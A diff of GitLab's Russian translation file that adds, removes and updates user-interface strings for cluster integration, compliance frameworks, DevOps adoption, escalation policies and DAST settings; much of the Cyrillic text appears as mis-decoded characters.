msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr "Prometheus"
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7795,24 +7687,6 @@ msgstr "Удалить Ñту конфигурацию клаÑтера Kubernet
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr "Замените Ñто Ñвоим ÑобÑтвенным именем хоÑта, еÑли хотите. При замене, укажите Ð¸Ð¼Ñ Ñ…Ð¾Ñта в Ingress IP Address выше."
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr "Ðе удалоÑÑŒ выполнить Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° запуÑк процеÑÑа уÑтановки"
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° начало ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÑ‘Ð½ Ñ Ð¾ÑˆÐ¸Ð±ÐºÐ¾Ð¹"
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr "Протокол SIEM"
-
msgid "ClusterIntegration|Save changes"
msgstr "Сохранить изменениÑ"
@@ -7825,9 +7699,6 @@ msgstr "ПоиÑк пар ключей"
msgid "ClusterIntegration|Search VPCs"
msgstr "ПоиÑк VPC"
-msgid "ClusterIntegration|Search domains"
-msgstr "ПоиÑк доменов"
-
msgid "ClusterIntegration|Search instance types"
msgstr "ИÑкать типы ÑкземплÑров"
@@ -7876,15 +7747,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr "Выберите тип машины"
@@ -7909,9 +7774,6 @@ msgstr "Выберете зону"
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr "Выберите зону, чтобы выбрать тип машины"
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "Токен Ñлужбы"
@@ -7930,27 +7792,12 @@ msgstr " У Ð½Ð°Ñ Ñ‡Ñ‚Ð¾-то пошло не так."
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr "Что-то пошло не так при Ñоздании вашего клаÑтера Kubernetes"
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr "Произошли ошибки во Ð²Ñ€ÐµÐ¼Ñ ÑƒÑтановки %{title}"
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr "Что-то пошло не так при удалении %{title}"
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr "Что-то пошло не так при обновлении доменного имени Knative."
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr "ПодÑети"
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7960,24 +7807,6 @@ msgstr "SSL-Ñертификат Kubernetes, иÑпользуемый Ð´Ð»Ñ Ð°Ñ
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "URL, иÑпользуемый Ð´Ð»Ñ Ð´Ð¾Ñтупа к API Kubernetes."
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr "Elastic Stack Ñобирает журналы Ñо вÑех подов вашего клаÑтера"
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr "Конечный Ñтап заключаетÑÑ Ð² процеÑÑе назначениÑ. ПожалуйÑта, проверьте клаÑтер Kubernetes или квоты в Google Kubernetes Engine, еÑли Ñтот Ñтап длитÑÑ Ñлишком долго."
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8008,9 +7837,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr "Ð”Ð»Ñ Ð´Ð¾Ñтупа к вашему приложению поÑле Ñ€Ð°Ð·Ð²Ð¾Ñ€Ð°Ñ‡Ð¸Ð²Ð°Ð½Ð¸Ñ Ð²Ñ‹Ð±ÐµÑ€Ð¸Ñ‚Ðµ шаблон DNS Ð´Ð»Ñ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ðº узлу Knative."
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -8032,21 +7858,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr "Удалить %{appTitle}"
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr "Обновление не удалоÑÑŒ. ПожалуйÑта, проверьте журналы и попытайтеÑÑŒ Ñнова."
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8071,27 +7885,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ удалить %{appTitle} из вашего клаÑтера."
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr "Ð”Ð»Ñ ÑƒÑтановки Knative необходимо иметь клаÑтер Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¾Ð¹ RBAC."
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr "Ðеобходимо выбрать как минимум две подÑети"
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr "Ваш клаÑтер Elasticsearch будет переÑоздан в ходе Ñтого апгрейда. Журналы будут переиндекированы, а архивные журналы хоÑтов, удалённых за поÑледние 30 дней, потерÑны."
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr "Ваша ÑƒÑ‡Ñ‘Ñ‚Ð½Ð°Ñ Ð·Ð°Ð¿Ð¸ÑÑŒ должна иметь %{link_to_kubernetes_engine}"
@@ -8107,12 +7906,6 @@ msgstr "Зона"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "доÑтуп к Google Kubernetes Engine"
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr "отвечает требованиÑм"
@@ -8185,9 +7978,12 @@ msgstr ""
msgid "Code owners"
msgstr "Владельцы кода"
-msgid "Code snippet copied. Insert it in the correct location in the YAML file."
+msgid "Code review"
msgstr ""
+msgid "Code snippet copied. Insert it in the correct location in the YAML file."
+msgstr "Сниппет Ñкопирован. Ð’Ñтавьте его в нужное меÑто YAML-файла."
+
msgid "CodeIntelligence|This is the definition"
msgstr ""
@@ -8200,9 +7996,15 @@ msgstr "Шаблон"
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8501,9 +8303,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8540,9 +8339,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8561,42 +8357,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr "GDPR"
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr "GDPR - общий регламент по защите данных"
-
-msgid "ComplianceFramework|HIPAA"
-msgstr "HIPAA"
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr "HIPAA - акт о мобильноÑти и подотчётноÑти медицинÑкого ÑтрахованиÑ"
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr "PCI-DSS - Ñтандарт безопаÑноÑти данных индуÑтрии платёжных карт"
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr "SOC 2 - Service Organization Control 2"
-
-msgid "ComplianceFramework|SOX"
-msgstr "SOX"
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr "SOX - акт Сарбейнза - ОкÑли"
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8615,8 +8378,11 @@ msgstr "КонфигурациÑ"
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
-msgstr "ÐаÑтройте обработчиков заданий Ð´Ð»Ñ Ð½Ð°Ñ‡Ð°Ð»Ð° иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð²ÐµÐ±-терминала. %{helpStart}Подробнее.%{helpEnd}"
+msgstr "ÐаÑтройте GitLab runner'Ñ‹ Ð´Ð»Ñ Ð½Ð°Ñ‡Ð°Ð»Ð° иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð’ÐµÐ±-терминала. %{helpStart}Подробнее.%{helpEnd}"
msgid "Configure Gitaly timeouts."
msgstr "ÐаÑтройка таймаутов Gitaly."
@@ -8869,6 +8635,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9224,7 +8993,7 @@ msgstr "УчаÑтники"
msgid "Control emails linked to your account"
msgstr "Управление адреÑами Ñлектронной почты, ÑвÑзанными Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑью"
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9263,6 +9032,9 @@ msgstr ""
msgid "Copy ID"
msgstr "Копировать ID"
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr "Скопировать URL Ð´Ð»Ñ ÐºÐ»Ð¾Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‡ÐµÑ€ÐµÐ· KRB5"
@@ -9329,6 +9101,9 @@ msgstr "Скопировать Ð¸Ð¼Ñ Ð¸Ñходной ветки"
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9569,9 +9344,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr "Создать ветку"
@@ -9698,9 +9470,6 @@ msgstr "Создайте вашу первую Ñтраницу"
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9932,6 +9701,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr "Ключи SSH"
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9941,9 +9716,6 @@ msgstr "Ð’Ñ€ÐµÐ¼ÐµÐ½Ð½Ð°Ñ Ð·Ð¾Ð½Ð° Cron"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9959,9 +9731,6 @@ msgstr "Текущий проект"
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr "Текущий узел"
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -10037,6 +9806,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr "ÐаÑтроить цвета"
@@ -10059,13 +9831,13 @@ msgid "Customize your pipeline configuration."
msgstr ""
msgid "CustomizeHomepageBanner|Do you want to customize this page?"
-msgstr ""
+msgstr "Хотите наÑтроить Ñту Ñтраницу?"
msgid "CustomizeHomepageBanner|Go to preferences"
-msgstr ""
+msgstr "Перейти к предпочтениÑм"
msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
-msgstr ""
+msgstr "Ðа Ñтой Ñтранице по умолчанию отображаетÑÑ ÑпиÑок ваших проектов, но её можно изменить, чтобы отображать активноÑÑ‚ÑŒ проектов, группы, ÑпиÑок дел, назначенные обÑуждениÑ, назначенные запроÑÑ‹ на ÑлиÑние и многое другое. Ð’Ñ‹ можете изменить Ñто в разделе «Содержание главной Ñтраницы» в Ñвоих предпочтениÑÑ…."
msgid "Cycle Time"
msgstr ""
@@ -10258,9 +10030,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr "DNS"
@@ -10327,6 +10096,18 @@ msgstr "%{firstProject}, %{rest}, и %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10688,9 +10469,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10715,6 +10493,9 @@ msgstr "Дней"
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10748,7 +10529,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10868,6 +10649,9 @@ msgstr "Удалить комментарий"
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -10893,7 +10677,7 @@ msgid "Delete snippet"
msgstr "Удалить Ñниппет"
msgid "Delete snippet?"
-msgstr ""
+msgstr "Удалить Ñниппет?"
msgid "Delete source branch"
msgstr "Удалить иÑходную ветку"
@@ -10917,7 +10701,7 @@ msgid "DeleteProject|Failed to remove project repository. Please try again or co
msgstr ""
msgid "DeleteProject|Failed to remove project snippets. Please try again or contact administrator."
-msgstr ""
+msgstr "Ðе удалоÑÑŒ удалить Ñниппеты проекта. ПожалуйÑта, попробуйте ещё раз или ÑвÑжитеÑÑŒ Ñ Ð°Ð´Ð¼Ð¸Ð½Ð¸Ñтратором."
msgid "DeleteProject|Failed to remove some tags in project container registry. Please try again or contact administrator."
msgstr "Ðе удалоÑÑŒ удалить некоторые метки в рееÑтре контейнера проекта. ПожалуйÑта, попробуйте еще раз или ÑвÑжитеÑÑŒ Ñ Ð°Ð´Ð¼Ð¸Ð½Ð¸Ñтратором."
@@ -11553,12 +11337,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11616,7 +11418,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11628,21 +11430,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11676,6 +11481,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11697,6 +11505,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11715,15 +11526,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr "Разница между начальной датой и нынешней"
@@ -11911,7 +11719,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11962,7 +11770,7 @@ msgstr "Ðе включать опиÑание в опиÑание коммитÐ
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr "Ðе вÑтавлÑйте закрытую чаÑÑ‚ÑŒ ключа GPG. Ð’Ñтавьте открытую чаÑÑ‚ÑŒ, начинающуюÑÑ Ð½Ð° «----- BEGIN PGP PUBLIC KEY BLOCK -----»."
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11971,6 +11779,9 @@ msgstr "Ðе показывать Ñнова"
msgid "Done"
msgstr "Выполнено"
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "Скачать"
@@ -12187,9 +11998,6 @@ msgstr "Редактировать обÑуждениÑ"
msgid "Edit iteration"
msgstr "Изменить итерацию"
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12223,9 +12031,6 @@ msgstr ""
msgid "Editing"
msgstr "Редактирование"
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12286,6 +12091,9 @@ msgstr ""
msgid "Email display name"
msgstr "Отображаемое Ð¸Ð¼Ñ Ð´Ð»Ñ Ñл. почты"
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr "Ð­Ð»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð°Ñ Ð¿Ð¾Ñ‡Ñ‚Ð° не подтверждена. ПожалуйÑта, подтвердите ваш Ð°Ð´Ñ€ÐµÑ Ñлектронной почты в Salesforce."
@@ -12415,6 +12223,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12424,13 +12235,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12511,13 +12325,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12535,6 +12346,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12550,9 +12364,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr "Включить отÑлеживание Snowplow"
-
msgid "Enable two-factor authentication"
msgstr "Включить двухфакторную аутентификацию"
@@ -12562,9 +12373,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr "Включить Ñбор ÑтатиÑтики иÑпользованиÑ"
-
msgid "Enable version check"
msgstr ""
@@ -12694,6 +12502,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr "Ð”Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ Ð²Ð²ÐµÐ´Ð¸Ñ‚Ðµ Ñвой пароль"
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr "Окружение"
@@ -12859,9 +12670,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr "Журналы Ñ %{start} по %{end}."
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13217,7 +13025,7 @@ msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr "Произошла ошибка. Заблокированный пользователь должен быть разблокирован Ð´Ð»Ñ Ð°ÐºÑ‚Ð¸Ð²Ð°Ñ†Ð¸Ð¸"
msgid "Error occurred. User was not banned"
-msgstr ""
+msgstr "Ошибка. Пользователь не забанен"
msgid "Error occurred. User was not blocked"
msgstr "Произошла ошибка. Пользователь не был заблокирован"
@@ -13226,7 +13034,7 @@ msgid "Error occurred. User was not confirmed"
msgstr ""
msgid "Error occurred. User was not unbanned"
-msgstr ""
+msgstr "Ошибка. Пользователь не разбанен"
msgid "Error occurred. User was not unblocked"
msgstr "Произошла ошибка. Пользователь не был разблокирован"
@@ -13342,7 +13150,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13351,30 +13159,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13384,6 +13216,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr "Оценить"
@@ -13420,9 +13261,6 @@ msgstr ""
msgid "Events"
msgstr "СобытиÑ"
-msgid "Events in %{project_path}"
-msgstr "Ð¡Ð¾Ð±Ñ‹Ñ‚Ð¸Ñ Ð² %{project_path}"
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13568,7 +13406,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13589,9 +13427,6 @@ msgstr ""
msgid "Expires"
msgstr "ИÑтекает"
-msgid "Expires at"
-msgstr "ИÑтекает"
-
msgid "Expires at (optional)"
msgstr ""
@@ -13688,9 +13523,6 @@ msgstr "URL внешнего хранилища"
msgid "External storage authentication token"
msgstr "Токен аутентификации внешнего хранилища"
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13709,9 +13541,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr "Facebook"
